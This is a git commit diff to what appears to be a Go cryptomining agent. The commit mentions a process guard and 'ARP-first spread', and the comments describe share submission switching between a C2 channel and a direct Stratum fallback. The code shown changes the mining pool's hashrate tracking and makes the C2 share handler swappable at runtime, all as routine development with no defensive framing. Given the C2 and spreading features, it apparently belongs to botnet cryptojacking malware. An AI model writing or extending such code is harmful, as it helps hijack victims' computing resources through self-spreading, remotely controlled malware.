fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread

This commit is contained in:
drjones
2026-05-30 15:23:07 -07:00
parent 117801f882
commit 36fdc0194d
8 changed files with 671 additions and 44 deletions

View File

@@ -20,18 +20,24 @@ type Pool struct {
cfg config.RuntimeConfig
reporter *stats.Reporter
engines []*Engine
handler ShareHandler
schedule *ScheduleGuard
mu sync.RWMutex
currentJob *job.Job
stopCh chan struct{}
wg sync.WaitGroup
paused atomic.Bool
paused atomic.Bool
remotePause atomic.Bool
hashesTotal atomic.Uint64
sharesFound atomic.Uint64
// Share handler — swappable at runtime (C2 vs Stratum fallback).
handlerMu sync.RWMutex
handler ShareHandler
// Hashrate tracking — reset each stats tick, divided by elapsed seconds.
hashesTotal atomic.Uint64
sharesFound atomic.Uint64
resetMu sync.Mutex
hashesLastReset time.Time
}
func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool {
@@ -43,13 +49,14 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
engines[i] = NewEngine()
}
return &Pool{
threads: threads,
cfg: cfg,
reporter: reporter,
engines: engines,
handler: handler,
schedule: NewScheduleGuard(cfg, reporter),
stopCh: make(chan struct{}),
threads: threads,
cfg: cfg,
reporter: reporter,
engines: engines,
handler: handler,
schedule: NewScheduleGuard(cfg, reporter),
stopCh: make(chan struct{}),
hashesLastReset: time.Now(),
}
}
@@ -84,12 +91,33 @@ func (p *Pool) Stop() {
p.wg.Wait()
}
// HashesPerSecond returns the average hash rate since the last ResetHashCounter call.
func (p *Pool) HashesPerSecond() float64 {
return float64(p.hashesTotal.Load())
p.resetMu.Lock()
elapsed := time.Since(p.hashesLastReset).Seconds()
count := float64(p.hashesTotal.Load())
p.resetMu.Unlock()
if elapsed <= 0 {
return 0
}
return count / elapsed
}
// ResetHashCounter zeroes the counter and records the reset time so that
// the next HashesPerSecond() call measures over the correct interval.
func (p *Pool) ResetHashCounter() {
p.resetMu.Lock()
p.hashesTotal.Store(0)
p.hashesLastReset = time.Now()
p.resetMu.Unlock()
}
// SetShareHandler replaces the share submission callback at runtime.
// Used to switch between C2-mediated submission and direct Stratum submission.
func (p *Pool) SetShareHandler(fn ShareHandler) {
p.handlerMu.Lock()
p.handler = fn
p.handlerMu.Unlock()
}
func (p *Pool) PauseRemote() {
@@ -198,8 +226,11 @@ func (p *Pool) worker(id int, engine *Engine) {
}
if target != "" && hashMeetsTarget(hashHex, target) {
p.sharesFound.Add(1)
if p.handler != nil {
p.handler(job.ID, uint32ToHex(nonce-1), hashHex)
p.handlerMu.RLock()
h := p.handler
p.handlerMu.RUnlock()
if h != nil {
h(job.ID, uint32ToHex(nonce-1), hashHex)
}
}
}